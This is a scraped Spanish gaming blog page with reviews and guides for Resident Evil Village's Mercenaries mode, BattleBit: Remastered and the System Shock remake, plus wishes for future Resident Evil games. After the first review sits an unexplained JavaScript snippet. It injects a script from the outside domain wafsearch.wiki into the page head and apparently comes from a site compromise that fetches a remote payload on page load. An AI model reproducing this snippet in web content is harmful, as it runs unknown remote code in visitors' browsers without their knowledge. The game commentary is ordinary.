    Mercenarios es un modo arcade en el que debemos atravesar una sección del juego principal contra muchos monstruos y, dependiendo de cómo lo hagamos, tendremos más o menos puntos. Podremos mejorar nuestras armas durante cada partida, pero al ir a la siguiente no podremos conservarlas. Sin embargo, sí podremos conservar ciertos desbloqueos, como nuevas habilidades que aparecerán como potenciadores en el mapa en plan Doom. Aparte, hay varios personajes a elegir con sus propias maneras de jugar. La expansión de los Winters añade a Chris, Lady Dimitrescu y Heisenberg junto a Ethan, y varios mapas más. Este modo os puede dar muchas, muchas horas de juego, y nos permite desbloquear el sable láser para la campaña principal y varias mejoras exclusivas para casi todas las armas. Es un modo extremadamente interesante y que os picará a conseguir más y más puntos; está muy bien diseñado, y supera con creces los modos extra que tuvimos en Resident Evil 7. Ojalá más juegos tuvieran contenido extra tan bueno como este Mercenarios, de verdad, es muy entretenido.

    Si queréis más contenido extra, no olvidéis que aquí tengo el análisis del Resident Evil anterior.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Guía de rifles automáticos de BattleBit: Remastered

    Guía de rifles automáticos de BattleBit: Remastered

    Guía rápida de este vídeo:

    ¡La mayoría son viables!

    Incluso los fusiles de asalto que son estrictamente peores a otros no van a poneros en una gran desventaja. Aquí citaré los que sean subóptimos más adelante. Si necesitáis una hoja de cálculo con todos los datos, echad un ojo aquí a la de Oxygen.

    Corta distancia (50m)

    M4A1 TTKs BattleBit: Remastered

    Equilibrados: AK74, M4A1 y G36C. TTK base: 240 a 269ms

    • No hacen nada particularmente bien, pero tampoco mal
    • El M4 y la G36C tardarán bastante más en matar a la cabeza a los apoyos con casco Exo debido a tener 30 de daño; esto se puede arreglar con el cañón largo, que da más daño. También permite mantener el TTK contra chaleco normal
    • La M4 y el AK74 tienen retrocesos horizontales excepcionalmente buenos
    • El G36C es la versión un poco más avanzada del M4: peor retroceso, pero más cadencia

    Los subóptimos (malos, vaya): ACR, AK5C y HK419

    • Versiones estrictamente peores de los fusiles equilibrados. No recomendables

    El de mejor TTK (potencialmente): el FAMAS: 200 (cañón largo o pesado) a 267ms base

    • La alta cadencia lo hace mejor desde la cadera y más consistente a corta distancia. Fallar un tiro os penaliza menos por lo rápido que dispara
    • Aunque es cierto que sus TTK pueden ser súper rápidos, esto solo es cierto si usamos un cañón que dé daño Y contra enemigos sin armadura

    Larga distancia (150m)

    FAL TTKs BattleBit: Remastered

    Manejables: AUG A3 y SG550. TTK base: 257 a 360ms

    • Apuntado MUY rápido, poco retroceso y recargas MUY rápidas. La buena puntería es necesaria
    • El daño es bajo, pero, aun así, se mata tan rápido en BattleBit que son también viables

    Alto daño por disparo: FAL, AK15 y SCAR-H. TTK base: 185 a 240ms

    • Retroceso horizontal y vertical muy alto
    • Salvo el FAL, apuntado y velocidad al correr muy lentos
    • TTKs muy rápidos, pudiendo matar en solo dos tiros a la cabeza en la mayoría de casos
    • Los más difíciles de usar, pero con la mayor recompensa por ello
  • Análisis de Battlebit: Remastered

    Análisis de Battlebit: Remastered

    Podéis encontrar la versión en vídeo aquí:

    Cómo hacer Battlefield mejor que Battlefield

    BattleBit: Remastered es un shooter inspirado en Battlefield y Squad con gráficos tipo Roblox que está teniendo mucho éxito; porque, al final, en un juego, especialmente uno multijugador, lo que prima es cómo se juega. Por solo 15€ tenemos más contenido que Dice nos ha dado con Battlefield: 2042 en todo este tiempo, y con ninguna falla técnica. La industria del videojuego se ha pasado tanto tiempo preocupada de si era posible mejorar los gráficos que nunca se pararon a pensar si deberían preocuparse por ellos.

    Estadísticas de Battlebit: Remastered
    BattleBit está liderando las ventas en Steam y tiene muchos jugadores concurrentes

    No es tan simulador como Arma o Squad, pero toma elementos de ellos

    Pero BattleBit está lejos de ser un simple clon. Es más que eso. Tiene una visión particular que quiere ejecutar: un shooter militar de muchos jugadores con ciertos elementos de simulación. Nada como un Arma, más arcade, pero sí con ciertos elementos del género. Por ejemplo, deberemos manejar cada cargador individualmente, tendremos, incluso, la opción de tirar el cargador al suelo directamente dejando la munición en él. Si recibimos mucho daño en un corto periodo de tiempo, deberemos usar una venda para dejar de sangrar. En cualquier caso, sigue siendo bastante arcade, no os asustéis. En seguida os acostumbraréis.

    Pero lo más interesante es la destrucción; en Battlefield, con los años, cuanto más potente ha sido su fidelidad gráfica, menos destrucción hemos visto, por razones evidentes de rendimiento. Sin embargo, BattleBit nos transporta a los tiempos de Battlefield: Bad Company 2, con edificios muy fáciles de destruir que pueden hasta colapsar y matar a todos los que haya en su interior. Hay ciertas estructuras que no se pueden romper por razones de diseño, que está bien, pero por lo general casi todo se puede destruir. ¿Los enemigos están en un edificio y no puedes entrar? No hay problema, C4 y abajo con la pared. BattleBit, con esto, nos invita a la creatividad. Tenemos martillos para tirar abajo paredes; ganchos para escalar. El mundo es, básicamente, nuestro lienzo.

    La balística es un tanto distinta a Battlefield, con caída de bala más realista que nos permite alcanzar mayores distancias. En Battlefield, la idea era la compresión de las distancias para que haya acción más cerca de los objetivos; esto no es necesariamente malo de por sí, pero hay mucha gente a la que le resulta restrictivo. Esto no lo veremos en BattleBit. También veremos un TTK, o el tiempo requerido para que un arma mate, bastante corto, de entre 200 y 400ms, que cambiará según el arma y equipo. Esto favorece las rachas de muertes largas, aunque sí se nota algo más casual, ya que un novato con suerte puede alcanzar un par de disparos mientras que en otros juegos como en Apex requiere tener buena precisión por un periodo largo. Algo así como lleva haciendo Call of Duty ya bastante tiempo. En general no llega a sentirse como un juego de simulación, mucho menos un juego competitivo; sigue siendo bastante divertido y arcade.

    La progresión no tiene trampas: no hay microtransacciones ni «timesavers» de marras

    La progresión se siente genial: sin microtransacciones, jugar con un arma nos dará sus accesorios y camuflajes, y subir de rango con experiencia desbloqueará armas y equipo. Sin pases de batalla, sin pases de temporada; aquí no se sacrifica la sensación de progresión por un puñado de dólares. Pagamos 15€, y aquí tenemos el juego; y, si queremos más aspectos por encima de los muchos gratuitos que hay, hay un pack de 20€ con 29 aspectos de armas y diez de armadura más, diseñado para la gente que quiera apoyar el juego. El cual es totalmente innecesario porque los aspectos que ya hay son interesantes y se consiguen jugando. Es más, al alcanzar el máximo rango, podremos hacer prestigio y conseguir aún más aspectos.

    Personalización de armas en BattleBit: Remastered. AUG A3.

    Pero la progresión no solo se reduce a cosméticos y accesorios; BattleBit cuenta con un complejo sistema de armadura. Podremos desbloquear y personalizar a nuestro personaje con equipo que nos permita llevar más munición, tener extra de salud temporal, llevar más gadgets, apuntar más rápido, etc. Cada clase cuenta con su propio equipo, por ejemplo, la clase de apoyo cuenta con armadura pesada que les permite hasta aguantar un disparo de francotirador en la cabeza; eso sí, llevarla los hace muy lentos, y una vez perdamos la salud extra de la armadura no la recuperaremos hasta la siguiente vida.

    Personalización de armadura en BattleBit: Remastered. Médico.

    Contenido y buen rendimiento desde el primer día

    Y la cantidad de contenido que tiene BattleBit durante la salida en early access es increíble: 39 armas (Battlefield: 2042 salió con 22), 17 mapas (Battlefield: 2042 salió con 13, siete nuevos y seis de juegos antiguos), seis clases, votación para la siguiente partida y un maldito scoreboard para saber cómo vas, no como se olvidó Battlefield: 2042 de salida, que manda huevos, ¿a quién se le ocurre sacar un shooter sin scoreboard

    Todo esto sin ningún problema de rendimiento y ocupando, tan solo, dos gigas. Dos malditos gigas. Que sí, que vale, que el juego se ve como el Roblox, ¿pero y qué más da? De hecho, yo diría que es una ventaja: estoy harto de que sea tan difícil de ver lo que pasa en los juegos nuevos con tantos efectos y explosiones. En ocasiones es que me cuesta ver lo que disparo. Yo es que considero esto una ventaja; es un juego multijugador, no es necesario que se vea espectacular o realista. Lo que quiero es que funcione y sea divertido, ¿a que sí?

    Battlebit: Remastered pesa 2GB
    Solo ocupa dos gigas. ¡DOS GIGAS!

    En fin, qué queréis que os diga, Battlefield va a tener que espabilarse porque un juego hecho con pasión por tres personas les está comiendo por los pies. Como quizá XDefiant de Ubisoft se coma a Call of Duty, volviendo al estilo que tenía en Black Ops 2, pero eso está por ver; si queréis saber lo que opino de su beta cerrada, podéis echarle un ojo aquí.

  • Qué armas llevar en System Shock remake

    Qué armas llevar en System Shock remake

    Esta es la guía rápida de este vídeo:

    Tabla de DPS de todas las armas de System Shock

    ¡Recordad que el DPS no lo es todo! El daño por disparo y la penetración son importantes también, especialmente si estamos cerca de cobertura. Enlace a la hoja de cálculo aquí

    Lo más importante para los jefes: el lanzagranadas y el Estoque Láser

    • La combinación de granada EMP (o PEM en español) para aturdir a los jefes y el Estoque Láser para ahorrar munición es demasiado fuerte; aprovechadlo antes de que lo nerfeen
    • El lanzagranadas en general es muy útil; no solo potencia nuestro daño con las granadas, sino que es mucho más fácil alcanzar a enemigos que se mueven rápido
    • El Estoque Láser es arriesgado sin EMPs, pero hace mucho daño por golpe y atraviesa armadura; os puede sacar de más de un apuro

    Armas cinéticas (usan munición)

    • La Minipistola es más eficiente con la munición que la Skorpion y ocupa poco espacio
    • La Skorpion hace mucho más dps pero consume mucha munición. Mejor más tarde en el juego cuando tengamos más
    • El Rifle de Asalto es parecido a la Skorpion, pero tiene más penetración de armadura y menos dps. La munición incendiaria es muy buena en las arboledas
    • La Magnum no tiene un dps muy alto, pero su alto daño por disparo la hace muy buena cuando nos peleamos cerca de una esquina y nos escondemos entre disparos. Muy buena penetración también
    • La escopeta es excepcional en las primeras horas de juego, y más tarde con munición incendiaria en las arboledas. Pierde un poco de fuelle hacia el final cuando los enemigos tienen más armaduras y hacen más daño de cerca

    Armas de energía (usan energía del traje)

    • La Sparq es genial durante todo el juego, pero especialmente al principio cuando vamos escasos de munición. Su modo sobrecargado es increíblemente potente y os lo hará todo mucho más fácil hasta la mitad del juego
    • El Rifle de Iones hace más daño por disparo que la Sparq, pero en el modo sobrecargado requiere cargar el arma, por lo que es un tanto más difícil de usar
    • El Fusil de Plasma es el arma que, de lejos, muy lejos, tiene el dps más elevado del juego. Solo la podéis llevar durante la última sección del juego. ¡Ojo que sus disparos tardan un tanto en llegar al objetivo! Probablemente la mejor arma del juego
    • La Pistola Magnética es un híbrido entre cinética y energía: gasta un poco de energía y también munición. Es un arma centrada en dañar armadura/robots, y tiene munición muy escasa en la mayoría del juego. Requiere esperar a que su daño en área haga efecto después de disparar, así que recomiendo estar cerca de cobertura como si usarais la Magnum, y no usarla cuando estéis en mala posición. Un arma muy de nicho
  • Análisis de System Shock Remake: el abuelo de BioShock

    Análisis de System Shock Remake: el abuelo de BioShock

    Podéis encontrar la versión en vídeo aquí abajo:

    Vuelta de un clásico de 1994

    System Shock es ejemplar, un clásico que debe ser jugado por cualquiera que quiera entender cómo aparecieron los “survival horror” como Resident Evil, los shooters como BioShock o los “immersive sims”, los juegos en que hay multitud de formas de resolver las cosas, como Deus Ex, Dishonored o el Prey de Arkane. Lo sorprendente de System Shock es lo moderno que se siente aun teniendo treinta años: un mapa por cuadrícula que explorar con libertad, un lugar donde guardar nuestros objetos que se puede acceder desde cada nivel, una gran selección de armas… por supuesto que los aspectos de shooter se han actualizado en este remake, pero lo demás fue muy influyente durante varias generaciones y sigue siendo igual.

    La jugabilidad se ha modernizado, pero el núcleo es el mismo

    La manera en que describiría a este juego es: Metroid en 3D antes de que Metroid diera el salto al 3D, pero con un combate significativamente más difícil y con una gestión de inventario y recursos que más tarde daría lugar al género survival horror. En el original los aspectos de shooter están bastante anticuados, pero me alegra decir que en este son bastante sólidos. Si habéis jugado a BioShock os haréis una idea de lo que esperar; aunque os lo advierto, es un juego mucho más complicado que los BioShock. En System Shock nada te guía directamente, sino que trata al jugador como a una persona inteligente. Debemos estar atentos a las escenas, grabaciones y documentos para deducir nuestro siguiente movimiento en el mapa; generalmente no es tan complicado como para volvernos locos, y además tenemos la opción de habilitar los objetivos como en los juegos modernos.

    De hecho, la dificultad en System Shock es muy personalizable, tenemos cuatro aspectos que podemos modificar con un valor del uno al tres: el combate, la misión, los puzles y el ciberespacio. El combate es lo habitual: cuánto daño recibimos, el número de enemigos, y cuánto daño hacemos; si reducimos la dificultad de misión, tendremos objetivos para saber dónde ir en todo momento, y no podremos tirar objetos importantes fuera del inventario, si la aumentamos, tendremos un límite de diez horas para acabar el juego; los puzles fundamentalmente determinan lo difícil que son los minijuegos de hackeo; y la dificultad del ciberespacio cambia el combate en este y hace que nuestro personaje muera si fracasa. En este sentido este remake es más accesible que nunca con tantas opciones para personalizar nuestra experiencia.

    System Shock dificultad
    Podéis proceder a encontrarle la lógica a mi dificultad. En cualquier caso, hace falta algo más que un buen juego para no que no tome la oportunidad de tirar los minijuegos de hackeo por la ventana

    En nuestra aventura deberemos investigar una estación espacial, y tan pronto como superemos los primeros dos niveles de esta, podremos ir a varias plantas y continuar en el orden que queramos. Los objetivos principales son más o menos lineales pero, en la mayoría de casos, nada nos impedirá investigar la mayoría del mapa como queramos. Por supuesto, algunas zonas sí serán inaccesibles a menos que tengamos alguna mejora cibernética que nos permita avanzar, como un traje antirradiación o unas botas antigravedad, pero la gran mayoría sigue siendo accesible. Es incluso posible completar objetivos principales de antemano sin saberlo; en mi caso, encontré muy pronto unos explosivos que hacían falta al final del juego, y no sabía muy bien qué hacer con ellos.

    System Shock remake tiroteo
    Despertar rodeado de cyborgs asesinos no es mi idea de irme de vacaciones, pero tampoco está mal si estás armado hasta los dientes

    La exploración es clave y hay mejoras e implantes cibernéticos por toda la estación que mejorarán nuestra habilidad para movernos por el mapa, para luchar, y mucho más. Hay un completo arsenal de armas y no podremos llevarlas todas, forzándonos a elegir cuáles preferimos en cada momento, con las más potentes ocupando mucho más espacio en el inventario; hay, incluso, dos mejoras de inventario ocultas en la estación. Para mejorar nuestras armas deberemos recolectar chatarra y llevarla a puntos de reciclaje por créditos que podremos usar en máquinas expendedoras; esta es una mecánica que recuerda a la recolección de tesoros en Resident Evil 4, aunque he de decir que es un tanto más tediosa ya que la chatarra ocupa espacio en nuestro inventario y raras veces tienen mucho valor en créditos. La exploración en Resident Evil 4 es mucho más satisfactoria, pero esta se acerca bastante; y, hablando de Resident Evil 4, System Shock gestiona muy bien el ritmo, ese equilibrio entre el combate y la exploración. El combate es tenso, y por lo tanto requiere de un periodo entre encuentros que nos deje explorar y relajar un poco esa tensión. Esto se nota especialmente cuando reducimos el nivel de seguridad del nivel en que estamos, momento en que los enemigos dejan de aparecer y podremos investigar a nuestro antojo. 

    La narrativa involucra a un hacker, una ciudad en el espacio y a una IA descontrolada

    Decir que la historia y personajes de System Shock son icónicos es quedarse corto; el impacto cultural de la inteligencia artificial Shodan es gigantesco. GLaDOS de la saga Portal se basó en este personaje, y representa nuestros peores miedos en cuanto a la inteligencia sintética y su futuro. En System Shock comenzamos como un hacker intentando hacerse con los datos de un chip cibernético militar para mejorar sus capacidades; pero en seguida la compañía a la que intentamos hackear, Trioptimum, nos secuestra y lleva a la estación espacial Ciudadela, en la órbita de Saturno, donde el directivo Edward Diego nos dará a elegir: o bien quitar las restricciones morales de la inteligencia artificial de la Ciudadela, o bien morir. Evidentemente elegimos vivir, y el hacker hace lo suyo. A continuación nos duermen y despertamos en una Ciudadela misteriosamente llena de cyborgs asesinos y mutantes. Desde ahí, nuestro objetivo es encontrar y destruir a Shodan antes de que acabe con la Humanidad, y después escapar de la Ciudadela con vida. 

    Shodan System Shock
    Shodan nos seguirá a cada paso en la estación

    Aparte de unas pocas escenas, la mayoría de la narrativa ocurre mientras jugamos, como más tarde haría Half-Life. Shodan nos acosará constantemente, con una caracterización absolutamente icónica: está muy bien escrita. Poco a poco iremos descubriendo sus motivaciones y cómo llegó a crearse, un misterio bastante interesante. Nuestro protagonista es básicamente mudo, aunque en ocasiones es bastante expresivo gesticulando y mediante lo que no dice. En cuanto al resto de personajes, recibiremos ayuda de otros supervivientes y de TriOptimum desde la Tierra, que nos guiarán sobre cómo acabar con Shodan, pero no tienen ningún arco en particular. En general, merece la pena jugar solo por entender las motivaciones completamente desquiciadas de Shodan, uno de los personajes de videojuego más influyentes de las últimas décadas. Y, bueno, la Ciudadela es una estación de clase Faro. Siempre hay un hombre, un faro y una ciudad, ¿eh?

    El apartado artístico de System Shock es excepcional en un juego de solo 8GB

    El remake de System Shock tiene un apartado artístico inmaculado: gráficos estilizados y texturas pixeladas a propósito para recordarnos al juego original. Y he de decir que funciona: se ve espectacular, con una dirección impecable y centrada. Nuestras armas evolucionan con las mejoras, con nuevos accesorios; tienen sonidos interesantes que las representan bien. Las voces de los enemigos cuentan sus historias y nos ayudan a localizarlos si están cerca; los efectos de sonido son particularmente buenos. El ciberespacio es visualmente interesante, y más todavía hacia el final del juego en cierta secuencia que no os voy a arruinar. Durante los momentos más tranquilos o mientras luchamos contra un enemigo, la música está de fondo, nada especial; pero en los combates grandes y en las secuencias importantes, hay una variedad genial de electrónica y rock que es muy interesante. Recomiendo muchísimo escuchar la canción que aparece en la última escena del juego, The Order of Death de Public Image, un temazo, sin duda. Como el resto del arte del juego, la música está a un nivel muy alto.

    La Ciudadela de System Shock remake
    Tan solo miradlo

    No son créditos todo lo que reluce

    Eso sí, llega el momento de hablar de lo negativo: se nota que el presupuesto no es de un juego triple A, y aunque esté en general bastante pulido, sí encontré unos cuantos errores, como el robot bailando breakdance al principio del vídeo; aunque eso, más que un error, es una característica. El mayor de ellos fue uno que no me dejó hacer un puzle opcional, pero nada que no me dejara continuar la historia, incluyendo el rendimiento, que es bastante bueno. También encontré que el fogonazo de algunas armas no dejaba ver con claridad, y que el juego tiene una retícula un tanto grande para mi gusto. Si acaso, mi mayor queja está en el equilibrio de armas: usar una granada EMP para aturdir a un jefe y después derrotarlo cuerpo a cuerpo con el estoque láser hace algunas secciones muy fáciles, deberían reducir la efectividad de esas granadas en los jefes. También he de decir que los objetivos de la dificultad de misión 1 ahora mismo no funcionan hasta el siguiente parche, que puede resultar molesto para jugadores nuevos que no quieren liarse explorando la estación. En fin, estad atentos porque aquí pondré un vídeo sobre qué armas escoger cuando lo termine.

  • BattleBit: Remastered ya está a la venta para comerse a Battlefield

    BattleBit: Remastered ya está a la venta para comerse a Battlefield

    Los gráficos son innecesarios cuando un juego es divertido (¡y cuando funciona!)

    Esta mezcla entre Battlefield y SQUAD está ya a la venta en acceso anticipado y ha traído bastante revuelo a la comunidad de shooters: por fin un FPS que se centra menos en los gráficos y más en, bueno, la diversión. Si estáis cansados de que las compañías AAA publiquen juegos a medias que van a tirones, no busquéis más. En este momento está a unos asequibles 14,79€ en Steam; tuve la oportunidad de probar la beta y es fantástico. La progresión se siente muy satisfactoria, con armas y armaduras completamente personalizables. Skins de armas que son gratis y se desbloquean por jugar en este año del señor 2023, y no por el precio de un juego completo (AJEM, Activision). De los gráficos me olvidé en seguida, y prefiero mucho más tener un buen rendimiento; ¿cómo puede ser que una persona se gaste sobre 1000€ en un equipo, y que luego los juegos de acción vayan a tirones y se queden por debajo de los 60 fps? Después del fiasco de Battlefield 2042, es hasta catártico jugar a un FPS tipo Battlefield sin preocuparse de que falten cosas básicas de entregas previas.

    BattleBit: Remastered helicóptero
    El juego hace uso de vehículos como tanques o helicópteros

    No todo es bueno, por supuesto

    He de decir que un asunto del equilibrio de clases me preocupa: solo los médicos pueden curarse a sí mismos, una decisión de diseño que lleva muchos años sin usarse en muchos juegos de este tipo. ¿Por qué? Bueno, el alma de un shooter es flanquear, encontrar buenos ángulos, e irse cuando armemos mucho jaleo. Si nuestros médicos no nos acompañan para ello, ¿cómo podemos hacer para sobrevivir más tiempo y acercarnos al objetivo? Nunca se sabe qué compañeros te van a tocar, o si no hay médicos. Aparte, Battlebit incorpora una mecánica interesante: recibir daño nos pone en estado de «desangrado», que nos obliga a ponernos una venda. Para algunos esto es interesante, para otros es una mecánica molesta; en fin, eso ya es cosa de cada uno. Pero, en general, esta controversia es muy poco importante en comparación con lo bueno que es el juego. ¡Si podéis, echadle un ojo pronto!

  • Qué espero de los futuros Resident Evil

    Qué espero de los futuros Resident Evil

    Versión escrita de este vídeo:

    Capcom, dadme más Resident Evil 4 Remake

    Se ha hablado mucho de remakes potenciales de Resident Evil 5 y 6, y también se especula mucho sobre la novena entrega, que ha tenido bastantes filtraciones y rumores. Me gustaría hacer una pequeña lista de las cosas que me gustaría ver en ellos.

    Primero de todo: jugar solo no debe ser un suplicio. Por favor, que Sheva sea invencible como Luis en Resident Evil 4 remake; y, si jugamos solos, que el inventario pause la partida, no como en Resident Evil 5 y 6. Hablando de inventarios: me gustaría que siguiera siendo un inventario tipo Resident Evil 4; entiendo que lo cambiaron por el modo cooperativo, pero para eso hoy día podemos personalizar el acceso rápido a los objetos y las armas. Además, que quiten la recarga de armas por el inventario del quinto, que era demasiado fuerte y un poco absurdo.

    El mayor cambio que me gustaría ver es en el diseño de niveles; Resident Evil 5 y 6 son juegos muy lineales. Me gustaría que los mapas fueran cíclicos y más largos, como en Resident Evil 4. Imaginad un Resident Evil 5 o 6 con más exploración, con zonas amplias que nos dejen regresar hasta cierto punto de no retorno. En general: si van a hacer Resident Evils de acción, que sean más como el mejor de ellos, Resident Evil 4. Quiero ver los parries con el cuchillo, quiero ver los ataques cuerpo a cuerpo después de aturdir a los enemigos. Quiero ver de nuevo a un comerciante carismático, y quiero que las armas se mejoren como en el cuarto; quiero que las armas estén equilibradas y no que la siguiente arma que encuentres sea mejor, para añadir más rejugabilidad. Especialmente en Resident Evil 6: que por favor cambien el sistema de habilidades para solo mejorar las armas o bien una combinación de los dos.

    Casa Beneviento en Resident Evil 8: Village
    La Casa Beneviento estuvo bien, pero en la tercera partida se hace cansina

    Menos secciones sobre raíles y quick time events

    También me gustaría ver menos escenas sobre raíles y menos quick time events. La sección de La Casa Beneviento en Resident Evil 8 estuvo bien la primera vez, pero si la jugamos de nuevo, que haya un atajo o, al menos, una variación del puzle. Las filtraciones de Resident Evil 9 sugieren que sí habrá un comerciante o buhonero, por lo que es posible que sea otro juego de acción-horror tipo Resident Evil 4. Aún no hay nada seguro y hay que coger esto con pinzas, pero no tendría ningún problema mientras no haya demasiada acción como en Resident Evil 5 y 6. Y, si es así, espero que sea en tercera persona o, al menos, que tenga la opción para ello; creo que Resident Evil funciona mejor cuando podemos ver las reacciones de nuestro personaje. Claro que esto último es algo personal, ¿Vosotros qué opináis sobre la perspectiva? ¿Cuál os gusta más? ¿Primera o tercera persona?

    Historia: más RE2R y más RE4R; RE8, pero sin artificios

    Lo último que pido es que la trama no tenga incongruencias como las que hubo en Resident Evil 8: sin entrar en spoilers, creo que todos estamos de acuerdo en que Chris debió decirle a Ethan lo que pasó desde el principio y además Mia debió decirle a Ethan el secreto que desvela al final del juego (entre otras cosas); aunque sí es cierto que me gustó la trama del juego, pero de verdad que esos aspectos le hicieron daño.

    ¿Y qué opináis vosotros? ¿Cuál es la dirección que esperáis de la saga? Personalmente algo intermedio entre horror y acción como en Resident Evil 8 o 4 es lo que más me gusta, pero a muchos les gusta más el segundo o el séptimo juego. En fin, hablando de Resident Evil 7, os dejo con mi análisis sobre él.